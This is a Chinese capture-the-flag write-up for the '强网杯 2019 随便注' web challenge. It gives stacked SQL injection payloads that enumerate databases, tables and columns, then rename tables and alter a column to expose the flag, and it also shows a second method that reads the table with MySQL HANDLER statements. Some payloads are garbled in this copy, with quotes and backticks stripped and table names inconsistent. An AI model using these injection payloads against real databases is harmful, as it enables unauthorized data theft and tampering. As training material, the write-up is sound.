【WP】ctf-web-[强网杯 2019]随便注 📅 2026/8/9 4:06:09 堆叠注入 偷梁换柱;HANDLER语句注入学习来源https://blog.csdn.net/weixin_45551083/article/details/105389126方法一堆叠注入 偷梁换柱输入12都有回显尝试1’报错发现用select、报错注入等都被禁用了试一试堆叠注入查询所有数据库1 ;show databases;#查询所有表1;show tables;#查询words表中所有列1;show columns from words;#发现words表是前端页面默认查询的表参数inject的值传给了id通常包含id和data字段后端代码逻辑大致如下SELECTid,dataFROMwordsWHEREid你的输入查询19119810931114514表中所有列1;show columns from 1919810931114514;#注意加反引号发现有flag字段因为没有禁用alertrename所以可以修改表格结构words—words11919810931114514—wordsflag—id1;rename tables words to words1;rename tables 1919810931114514 to words; alter table words change flag id varchar(100);#输入1’ or 11 #后得到flag方法二HANDLER语句注入1;handler 1919810931114514 open;handler 1919810931114514 read first;#1. 闭合与堆叠1; ... ; ... #1闭合前端 SQL 语句中的单引号。;结束前一条语句开启新的 SQL 命令堆叠注入。#注释掉后端 SQL 语句尾部可能存在的剩余代码如闭合引号或LIMIT防止语法报错。2. 打开句柄handler 1919810931114514 open;含义告诉 MySQL 数据库“我要直接操作这张表请为我打开一个读取通道句柄”。作用这一步不会返回数据只是建立连接。因为表名是纯数字必须使用反引号包裹3. 读取数据handler 1919810931114514 read first;#含义通过刚才打开的句柄读取表的第一行数据。注意只能读一行read first只返回第一行。如果 Flag 不在第一行需要使用handler ... read next;读取下一行handler ... read last;读取最后一行感谢lonmar~ 博主的文章在此基础上有自行记录编辑侵权请联系删除~